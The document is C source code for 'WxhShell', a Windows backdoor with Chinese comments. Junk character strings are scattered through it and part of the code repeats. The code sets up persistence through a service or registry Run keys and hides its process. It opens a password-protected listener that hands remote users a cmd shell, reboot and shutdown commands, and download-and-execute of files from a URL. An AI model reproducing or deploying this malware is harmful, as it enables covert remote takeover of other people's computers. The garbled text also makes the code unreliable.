A if(NULL == hInst ) return 0; "Zl5< fI{&#~f4C g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [5G6VNh= g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6p?,( NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5nT"rA jbVECi- if (!NtQueryInformationProcess) return 0; 9Uj$K>: &PYK8}pBk3 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NG "C&v if(!hProcess) return 0; D~hg$XzK 6kpg+{; if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; * w?N{. kYG/@7f/ CloseHandle(hProcess); QPx_- Pv_Jm hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9N@W\DT if(hProcess==NULL) return 0; ,z;cbsV-{ ]P.'>4 HMODULE hMod; H`1{_ char procName[255]; W+UfGk}A unsigned long cbNeeded; 6-z%633DL xTj|dza if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =e9>FWf> v!<gY
m& CloseHandle(hProcess); 7"sD5N/>uh q8/MMKCbX if(strstr(procName,"services")) return 1; // 以服务启动 g.BdlVB\ q"\Z-D0B4 return 0; // 注册表启动 7gj4j^a^]{ } ,]46I.] 4]?<hH 9 // 主模块 a%kQl^I4 int StartWxhshell(LPSTR lpCmdLine) =]6%G7T { +x0!*3q SOCKET wsl; L^}_~PO N5 BOOL val=TRUE; iII=;:p int port=0; )wC?T struct sockaddr_in door; Q.l}NtHwV uJzG|$; if(wscfg.ws_autoins) Install(); @ ;*Ksy@1O Y$Zx, port=atoi(lpCmdLine); a1C{(f) c0,0`+2~ if(port<=0) port=wscfg.ws_port; {:6r;TB ,}3
'I [ WSADATA data; W42iu"@ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o /j*d3 (;T^8mI2 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; :r{<zd>; setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /]K^
rw[ door.sin_family = AF_INET; a1EOJ^}0 door.sin_addr.s_addr = inet_addr("127.0.0.1"); &"yx<&c} door.sin_port = htons(port); y0sR6TY)f \.MR""@y`{ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `[f*Zv w closesocket(wsl); L
6c 40 return 1; >V-A;S: } [@VP?74 */sS`/Lx if(listen(wsl,2) == INVALID_SOCKET) { ^E;kgED5 closesocket(wsl); U#lCj0iUt, return 1; A P)L:7w'e } Bt@^+vH ~ Wxhshell(wsl); _zY#U9 WSACleanup(); ur)9x^y Of*Pw[vD return 0; &S~zNl^m z* ^_)Z } tr<Nm6! Hx"ob_^'7 // 以NT服务方式启动 nV"~-On VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e>6y%v; { dBYmiF!+ DWORD status = 0; wjHzE
DWORD specificError = 0xfffffff; g%sluT[# C'9Cr}cZ. serviceStatus.dwServiceType = SERVICE_WIN32; arIf'CG6 serviceStatus.dwCurrentState = SERVICE_START_PENDING; a=J^ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; my(2;IJ#{ serviceStatus.dwWin32ExitCode = 0; Ro\8ZXUQa serviceStatus.dwServiceSpecificExitCode = 0; {m4b(t`xw serviceStatus.dwCheckPoint = 0; gH12[Us'` serviceStatus.dwWaitHint = 0; Sdp&jZY NCiW^#b hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *Fy2BZH%Q if (hServiceStatusHandle==0) return; |,S+@"0# a!a-b~#cx status = GetLastError(); T-.% if (status!=NO_ERROR) Bal$+S { GzhYY"iif# serviceStatus.dwCurrentState = SERVICE_STOPPED; J?V? R serviceStatus.dwCheckPoint = 0; sd*p/Q|4 serviceStatus.dwWaitHint = 0; h
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N6+@ serviceStatus.dwWin32ExitCode = status; 6.sx?Y YM serviceStatus.dwServiceSpecificExitCode = specificError; CSJdvxb SetServiceStatus(hServiceStatusHandle, &serviceStatus); {#ZlM return; *:Y%HAy* } RSfQNc9Z 2GP=&K/A serviceStatus.dwCurrentState = SERVICE_RUNNING; PC~Y8,A|.t serviceStatus.dwCheckPoint = 0; bGN:=Y' serviceStatus.dwWaitHint = 0; 6Y^23W F if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NSxoF3 } ?^7t'`zk 2<i!{;u$qL // 处理NT服务事件,比如:启动、停止 '=39+*6? VOID WINAPI NTServiceHandler(DWORD fdwControl) I@T8Iv= { Z_$%. switch(fdwControl) C^O
VB- { Y1OCLnK~ case SERVICE_CONTROL_STOP: (7vF/7BZ|_ serviceStatus.dwWin32ExitCode = 0; HHA<IZ#;, serviceStatus.dwCurrentState = SERVICE_STOPPED; 52%2R]G! serviceStatus.dwCheckPoint = 0; vmU@^2JSJ serviceStatus.dwWaitHint = 0; vx1c,8 { '.on)Zd. SetServiceStatus(hServiceStatusHandle, &serviceStatus); dzARI` } B-xGX$<z return; p,
h9D_ case SERVICE_CONTROL_PAUSE: E%yNa]\P serviceStatus.dwCurrentState = SERVICE_PAUSED; o*b] p- break; 2y//'3[ case SERVICE_CONTROL_CONTINUE: SON-Z"v serviceStatus.dwCurrentState = SERVICE_RUNNING; +NeOSQSj break; (uXL^oja case SERVICE_CONTROL_INTERROGATE: VU#`oJ:{ break; 3-[q4R }; 7r7YNn/? SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'H3^e} } T5R-B=YWu ;ic3).H // 标准应用程序主函数 |LRedD7n int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {
d=^}-^ { pM+ AjPr 2a-w%
(K // 获取操作系统版本 )Lk639r OsIsNt=GetOsVer(); QiQ_bB!\ GetModuleFileName(NULL,ExeFile,MAX_PATH); B\=L3eL<D UxbjA- U[ // 从命令行安装 6@Y_*4$| if(strpbrk(lpCmdLine,"iI")) Install(); 8hu<E4]L Dl<bnx;0 // 下载执行文件 @D.}\( if(wscfg.ws_downexe) { lAS#874dE if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9Z|jxy WinExec(wscfg.ws_filenam,SW_HIDE); 44gPCW,u } cA2V2S) - \5v^l if(!OsIsNt) { s6H]J{1F // 如果时win9x,隐藏进程并且设置为注册表启动 RM]\+BK HideProc(); fFMlDg[]; StartWxhshell(lpCmdLine); 2L:_rR#w } `[z<4"Os else KT_!d * if(StartFromService()) SOs:]U-T3 // 以服务方式启动 SbND
Y{5RO StartServiceCtrlDispatcher(DispatchTable); /'Ass(=6 else 7TgOK // 普通方式启动 \MsTB|Z StartWxhshell(lpCmdLine); Umz KY .!Qki@ return 0; (iBNZ7sJ } aEFJ;n7m 68NYIyTW9 `EEL1[:BR q2/pNV# =========================================== rxVanDb=W FTH|9OP
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C[ #include <stdio.h> ."TxX.&HE #include <string.h> J &o|QG #include <windows.h> cW~}:;D4 #include <winsock2.h> }'5MK #include <winsvc.h> dWM'fg #include <urlmon.h> *!4Z#Y rK@8/?y5 #pragma comment (lib, "Ws2_32.lib") vV'EZ? #pragma comment (lib, "urlmon.lib") ob+b<HFv aB*Bz]5;E #define MAX_USER 100 // 最大客户端连接数 5<iV2Hx #define BUF_SOCK 200 // sock buffer )mI 05 #define KEY_BUFF 255 // 输入 buffer }Q)#[#e ~t@cO.c #define REBOOT 0 // 重启 \6S7T$$ 1m #define SHUTDOWN 1 // 关机 &X`C%h a_[Eh fE #define DEF_PORT 5000 // 监听端口 \(J8#V %OtFHhb #define REG_LEN 16 // 注册表键长度 Bp*K]3_ #define SVC_LEN 80 // NT服务名长度 &Q9qq~ KLU-DCb% // 从dll定义API
jPC[_g typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ot$-!Y;< typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K#l:wH_ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _ ?TN; typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gMv.V{vD )}''L{k- // wxhshell配置信息 ?RX3MUN struct WSCFG {
#c!*</ int ws_port; // 监听端口 >lmi@UN|k char ws_passstr[REG_LEN]; // 口令 +ylTGSZS int ws_autoins; // 安装标记, 1=yes 0=no PUz*!9HC char ws_regname[REG_LEN]; // 注册表键名 ZufR{^W char ws_svcname[REG_LEN]; // 服务名 "HX<,l8f% char ws_svcdisp[SVC_LEN]; // 服务显示名 Qf58ig-vCY char ws_svcdesc[SVC_LEN]; // 服务描述信息 2{M^,=^> char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VGLaN%| int ws_downexe; // 下载执行标记, 1=yes 0=no !*/*8re char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @M<|:Z %.@ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yTyj'-4 cO-7ke }; |$+3a ZkgV_<M| // default Wxhshell configuration u=Fv2 struct WSCFG wscfg={DEF_PORT, :f Kl]XO "xuhuanlingzhe", <i<J^-W 1, :KH g&ZX7 "Wxhshell", Q.bXM?V) "Wxhshell", A_n7w "WxhShell Service", Pih tf4i "Wrsky Windows CmdShell Service", !y#"l$"xK "Please Input Your Password: ", <3(LWxw 1, uvgdY "http://www.wrsky.com/wxhshell.exe", h}-3\8 > "Wxhshell.exe" 1ofKt=|= }; |o,YCzy|5 SD#]$v // 消息定义模块 _my"%@n char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w;D+y*2 char *msg_ws_prompt="\n\r? for help\n\r#>"; FK6[>(QO char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PEN\-*Pv char *msg_ws_ext="\n\rExit."; D>|H 2 char *msg_ws_end="\n\rQuit."; E"\/M char *msg_ws_boot="\n\rReboot..."; ~Xr=4V:a+ char *msg_ws_poff="\n\rShutdown..."; W"724fwu& char *msg_ws_down="\n\rSave to "; 5&xB6|k =6xrfDbN8 char *msg_ws_err="\n\rErr!"; O[# 27_dH char *msg_ws_ok="\n\rOK!"; d[r#-h>dS 3E7ULK char ExeFile[MAX_PATH]; D@C-5rmq int nUser = 0; yh^!'!I6u[ HANDLE handles[MAX_USER]; z+x\(/ int OsIsNt; 2Fy>.*,? Wi>!{.}%A SERVICE_STATUS serviceStatus; M]<?k]_p SERVICE_STATUS_HANDLE hServiceStatusHandle; U2$d%8G |\w=u6jX // 函数声明 85lCj-cs int Install(void); M=.:,wRm int Uninstall(void); QpZ:gM_ int DownloadFile(char *sURL, SOCKET wsh); :d3bt~b' int Boot(int flag); ~7Y+2FZ void HideProc(void); V=)_yIS int GetOsVer(void); Gb"r|(! int Wxhshell(SOCKET wsl); l|xZk4@_uE void TalkWithClient(void *cs); @HT% n int CmdShell(SOCKET sock); {-ZFp int StartFromService(void); CPgC jtY int StartWxhshell(LPSTR lpCmdLine); Yaj0;Lo[wt "b?v?V0%C VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e }mD]O} VOID WINAPI NTServiceHandler( DWORD fdwControl ); _\=`6`b) l;af~ef)' // 数据结构和表定义 Ok>gh2e[c SERVICE_TABLE_ENTRY DispatchTable[] = '"y|p+=j: { UU'|Xz9~ {wscfg.ws_svcname, NTServiceMain}, r`%+M7 {NULL, NULL} @95FN)TXZY }; ttXXy3G# 9F6F~::l} // 自我安装 Hip&8NW int Install(void) L93l0eEt { BLN^ <X/ char svExeFile[MAX_PATH]; ilK-?@u+ HKEY key; ~+bv6qxg]\ strcpy(svExeFile,ExeFile); {zQS$VhXr &-s'BT[PGq // 如果是win9x系统,修改注册表设为自启动 ?P4w]a if(!OsIsNt) { 0ph{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .tkT<o-u<J RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
pnMEB,) RegCloseKey(key); MzPzqm< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hbU+Usx RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -yR.<KnL RegCloseKey(key); y'FS/=u>0 return 0; [qdRUV' } ~jK{ ,$:= } t(GR)&>.2 } pp.6Ex
(R else { 6)z?f4, ]DZE% // 如果是NT以上系统,安装为系统服务 {)DHH:n SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6Z#\CixG if (schSCManager!=0) $f,n8]
{ Sa\!*e_sN SC_HANDLE schService = CreateService f?oa" ( ~CVe yk< ( schSCManager, nM\eDNK wscfg.ws_svcname, 9 Yx]=n wscfg.ws_svcdisp, ;WgJ<&33 SERVICE_ALL_ACCESS, i.=w]S
j SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "+\ lws SERVICE_AUTO_START, ~)qtply SERVICE_ERROR_NORMAL, tBNoI svExeFile, $jm>:YD NULL, tyfTU5"x NULL, mK[)mC
_8 NULL, \|]Z8t7 NULL, `
L> NULL !1n8vzs"c ); Qd=^S^}( if (schService!=0) ?6(I V] { z>jUR,!GT CloseServiceHandle(schService); 6&DX] [G CloseServiceHandle(schSCManager); ?notxE7 ] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DVah strcat(svExeFile,wscfg.ws_svcname); iv?gZg if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9Q(+ZG=JkV RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WX}xmtLs RegCloseKey(key); ^Y u6w\QM return 0; 8~9030>Q } WuPH'4b 5 } &ZghMq~ CloseServiceHandle(schSCManager); A,V\"KU } TpmwD{c[\ } +E1I"); zG' "9kJx return 1; nL$x|}XAcj } >$ NDv aFe`_cnG // 自我卸载 "Fy7K#n int Uninstall(void) L KCb_9 {
vj51
g@ HKEY key; 5DXR8mLoaJ A a=u+ if(!OsIsNt) { |o2sbLp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rC.eyq,105 RegDeleteValue(key,wscfg.ws_regname); -b9;5eS! RegCloseKey(key); !ALKSiSl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i
`s|,"0o RegDeleteValue(key,wscfg.ws_regname); ~6pr0uyO` RegCloseKey(key); oEx\j+}@n return 0; Rx*BwZ } >_c5r?]S G } s0*0 'f } 'zEI;v else { ?;wpd';c 2+cNo9f SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZT[3aXS if (schSCManager!=0) kM'"4[,nz { T;diNfgg SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :d0Y%vl if (schService!=0) ari7 iF~j { AsPx? if(DeleteService(schService)!=0) { zW}[+el} CloseServiceHandle(schService); Z<#hS=eY CloseServiceHandle(schSCManager); C@Nv;;AlU return 0; ?\U!huu } o7TN,([W CloseServiceHandle(schService); |+:h|UIUQ } =H %-.m'f2 CloseServiceHandle(schSCManager); 1[E#vdbT } ;' nL:\ } w-b' LP A])P1c. 7" return 1; K9[e> } b?Pj< tA Z,c,G2D // 从指定url下载文件 3L_I[T$s int DownloadFile(char *sURL, SOCKET wsh) LF?P>
1%- { :%JC^dV( HRESULT hr;
sM\lO char seps[]= "/"; ?/M_~e.P char *token; J4tcQ char *file; F?u^"}%Fc char myURL[MAX_PATH]; VW@ x=m char myFILE[MAX_PATH]; ~u&|G$1!0 I\Glc=T* strcpy(myURL,sURL); C;Ic token=strtok(myURL,seps); Qn:kz*: while(token!=NULL) .wK1El{bf { d"~(T:=r file=token; ;\y; token=strtok(NULL,seps); T~gW3J } >qn/<?? "DSPPE&[c GetCurrentDirectory(MAX_PATH,myFILE); *s)}Bj strcat(myFILE, "\\"); {hqAnZ@]vr strcat(myFILE, file); U3#dT2U send(wsh,myFILE,strlen(myFILE),0); $v}<' send(wsh,"...",3,0); 4p) e}W* hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); beZ(o?uK if(hr==S_OK) \
Aq;Q? return 0; vz`@x45K else 6ri#Lw return 1; !rTmR@e$/ kJ=L2g>W<. } ~U}Mv{y Ie'P#e' // 系统电源模块 }fIqH4bp int Boot(int flag) ~!+h?[miV { 5)+F( HANDLE hToken; m/USC'U% TOKEN_PRIVILEGES tkp; *,#q'!Hq 0^_MN~s(X if(OsIsNt) { vC9@,[ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 85>S"%_ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p$!@I tkp.PrivilegeCount = 1; B.-A $/ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2mJ:c AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c %<2z if(flag==REBOOT) { IUhp;iH if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (iDBhC;/B return 0; wz@FrRP= } Y">4Qx4W else { Hbr^vYs5 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]G1R0 Q return 0; mC(u2 } hhq$g{+[ } nN{dORJlx else { 1
Nk1MGV if(flag==REBOOT) { bf98B4< if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a%[q
|oyR return 0; )|T`17- } p~>_T7ze else { '\4fU% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DJ:38_ F return 0; :Kay$r0+ } :QA@ c|(PF } ec?1c&E \|{*arS return 1; 7t4v~'h;5e } w~v<v& <;KRj85"j // win9x进程隐藏模块 u[`v&e void HideProc(void) @f=RL)$| { vb}/@F,Q5 Qg>L,ZO HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cHn;}l!I if ( hKernel != NULL ) _[$#
b]V { 'oi2Seq pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M'|)dM| ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5`UJouHi FreeLibrary(hKernel); ;qVG
\wQq } ZKsQ2"8{M tMG@K return; JTkCk~bX[z } {F)E\)$G ^fZGX<fH // 获取操作系统版本 D5[VK`4Z int GetOsVer(void) n` #+L~X { z\h,SX<U OSVERSIONINFO winfo; W8uVd zQ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %QE5<2k GetVersionEx(&winfo); 8DL hk if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +QupM return 1; z6}Pj>1 else %g-0O#8} return 0; LI:?Y_r } ;x RjQR Z]e4pR6! // 客户端句柄模块 ~GYpat int Wxhshell(SOCKET wsl) G*Ib^;$u { |)';CBb SOCKET wsh; 4d6%
t2 struct sockaddr_in client; ;:^ Lv DWORD myID; 1bDJ}M~]z \SzGzCJ while(nUser<MAX_USER) t_Z _!Qy { >~>{;Wq(p+ int nSize=sizeof(client); dWIZ37w+D wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |3"NwM> if(wsh==INVALID_SOCKET) return 1; $OT}`Te~ E.4n}s handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <q1'Li)_R if(handles[nUser]==0) k{qLkcOg= closesocket(wsh); ?V6 %>RU else [M<{P5q nUser++; (-#rFO5~l } dd19z% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Cl-S=q@>V tbRE/L< return 0; SDJ;*s- } eTT^KqE>& +Gp!cGaAm // 关闭 socket U!.~XT= void CloseIt(SOCKET wsh) K#iK6)tS { xan/ay> closesocket(wsh); `J]<_0kX}% nUser--; Q;Q ExitThread(0); 3[iSF5%V*p } ^,~N7` {4o\S // 客户端请求句柄 g8rp|MOH void TalkWithClient(void *cs) Kyyih|{ { 3[,wMy" K]%N-F>r SOCKET wsh=(SOCKET)cs; \kfcv char pwd[SVC_LEN]; $]Rl__; char cmd[KEY_BUFF]; oMz/sL'u char chr[1]; 5_PWGaQa int i,j; s&Z35IM8| li1v 4 while (nUser < MAX_USER) { $:PF9pY( nq),VPJi if(wscfg.ws_passstr) { pqkcf\ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); - a //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CL
EpB2_ //ZeroMemory(pwd,KEY_BUFF); Rd .U;> i=0; J.*[gt%O| while(i<SVC_LEN) { mQmBf|Rl W{L // 设置超时 ;`;G/1]#9 fd_set FdRead; Z={D0` struct timeval TimeOut; [..,( FD_ZERO(&FdRead); xcAF
FD_SET(wsh,&FdRead); V@LN
1| TimeOut.tv_sec=8; `WP@ZSC6 TimeOut.tv_usec=0; >a?OXqYP int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D$Kz9GVZq if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y*y`t6D e~tr^$/ ( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iLjuE)6-$ pwd=chr[0]; d3\OHkM0^ if(chr[0]==0xd || chr[0]==0xa) { 9k(*?!\; pwd=0; >cBGw'S break; cZCGnzy } ( [K2:n\ i++; v; je <DT } y21)~ L7i}Ga!8 // 如果是非法用户,关闭 socket 16a_GwfM if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E\
K } +3NlkN# ./7&_9|< send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }<6oFUZ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T][-'0! \[@Q}k[ while(1) { Y\+(rC27 #
q0Ub- ZeroMemory(cmd,KEY_BUFF); 7}2sIf[I Dq0-Kf,^ // 自动支持客户端 telnet标准 bd@*vu}?} j=0; %s~NQ;Y while(j<KEY_BUFF) { +a7EsR if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U:s}/to cmd[j]=chr[0]; D[?k ,* if(chr[0]==0xa || chr[0]==0xd) { Vy?R/
Uu cmd[j]=0; ccHLL6F{ break; H1aV}KD } ?Zc/upd:$N j++; m_{%tU;N } A^}i^ R@)'Bs // 下载文件 hj[+d%YZY" if(strstr(cmd,"http://")) { x.0k%H send(wsh,msg_ws_down,strlen(msg_ws_down),0); v>x {jZkFL if(DownloadFile(cmd,wsh)) m;;0 Cl send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4jC4X* else >%PL_<Vbv send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TnbGO; } x>1iIpBv^ else { &=+cov(3 m &0(% switch(cmd[0]) { 8`L#1ybMO )OW(T^>_'I // 帮助 C8bGae( case '?': { 0%GqCg send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CjC'"+[w break; p=mCK@ } y(aAp.S> // 安装 PV,kYM6 case 'i': { NB!'u)
lFD if(Install()) |.Y@^z;P3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); pmow[e else +
d+ hvwEM send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5 WN`8? break; . Ce&9l } }skRlC // 卸载 m>Yo9/XpZ case 'r': { 7dM6;`V^ if(Uninstall()) &;~2sEo, send(wsh,msg_ws_err,strlen(msg_ws_err),0);
X]&;8 else hJC
p0F9O send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L&!g33J&
break; +q`rz } t+W=2w& // 显示 wxhshell 所在路径 TQOg~lH case 'p': { S:2u3th7 char svExeFile[MAX_PATH]; `uM0,Z strcpy(svExeFile,"\n\r"); 6)uPM"cO strcat(svExeFile,ExeFile); KG4#BY&^ send(wsh,svExeFile,strlen(svExeFile),0); >m2<Nl} break; z^ a6%N } > hDsm;,/ // 重启 BST7y4R)BS case 'b': { Q}=W>|aE. send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lJGqR0:r+ if(Boot(REBOOT)) :XPC0^4s send(wsh,msg_ws_err,strlen(msg_ws_err),0); @aqd'O else { uK4'n+_>\ closesocket(wsh); 9rpg1 0/T ExitThread(0); He0N } `\RX~ $^ break; nyl8=F:V } 3gPD(r1g // 关机 $p}~,Kp/ case 'd': { .@8m\ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %X0NHta~@ if(Boot(SHUTDOWN)) l~Ie#vak send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9A *?E else { <.A C=4@V closesocket(wsh); Bah.\ZsYQP ExitThread(0); [d^: } [U3D`V$xD break; -hU>1ux&V } {l *&l2 // 获取shell ?sjZ13 SUa case 's': { n ]6
0 CmdShell(wsh); wEHAkc)Q closesocket(wsh); UgD'Bi ExitThread(0); ['}^;Y?*o break; qUoMg%Z%l } k8x&aH
// 退出 d=4f`q0k case 'x': { 8~[C'+r send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uJ)=+Exii CloseIt(wsh); f9l<$l break; o
{XwLi } |peMr# // 离开 z[|PsC3i: case 'q': { jL7MmR#y5" send(wsh,msg_ws_end,strlen(msg_ws_end),0); S$lmEJ_ closesocket(wsh); ^pQo `T6 WSACleanup(); ExOB P exit(1); ]"7DV3_ break; yhkQFB%gv } _/sf@R } ?lET45' } G2yUuyAZ "{ry 9?z // 提示信息 rlO%%Qn` if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 49J+&G?)j } mBpsgm:g^ } WRcFE< \xO2WD return; FbCZV3Y } |B{$URu ,5A>:2 zs // shell模块句柄 "{ QHWZ int CmdShell(SOCKET sock) Nh\8+v*+{ { N>}K+M> STARTUPINFO si; {OhkuON ZeroMemory(&si,sizeof(si)); H-cBXp5z si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R
!%m5Q?5 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?k:])^G5 PROCESS_INFORMATION ProcessInfo; Er/5 , char cmdline[]="cmd"; Tm:#"h\F CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }DUDA%U return 0; j]?0}Z* } ^; V>}08 CF}Nom) // 自身启动模式 +}-W.H%` 0 int StartFromService(void) 76i
rb!- { SJ[@fUxO) typedef struct \(>$mtS: { Kf?{GNE7 DWORD ExitStatus; F;X q:e8 DWORD PebBaseAddress; rIFC#Jd/ DWORD AffinityMask; }AsF\W+5 DWORD BasePriority; :D+SY ULONG UniqueProcessId; gJGBD9wC ULONG InheritedFromUniqueProcessId; nog\,NT } PROCESS_BASIC_INFORMATION; i{FC1tVeL_ + $a:X PROCNTQSIP NtQueryInformationProcess; Obc3^pV& HlL@{< static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2-E71-J static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K7O?{/ -R$FJbId HANDLE hProcess; ah Xq{> PROCESS_BASIC_INFORMATION pbi; ][5p.owJse Ah>krE0t HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4^NHf|UJH if(NULL == hInst ) return 0; "0 PN np\Q& g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7}1Kafs g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +heS\I_Mp NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ])wMUJWg2 /qq&'}TZP if (!NtQueryInformationProcess) return 0; j5Wx*~@( *T2&$W|_a hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yg[; if(!hProcess) return 0; ^57fHlw cKYvRe if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L{0OMyUA 7n95>as CloseHandle(hProcess); IM5^E#-g7 a=B0ytNm hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5NF&LM;i( if(hProcess==NULL) return 0; qCkg\)Ks5I DF[b? HMODULE hMod; H6JMN1#t$ char procName[255]; Jx9%8Ek unsigned long cbNeeded; vzm4 E|4XQ|B@ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2V"gqJHv 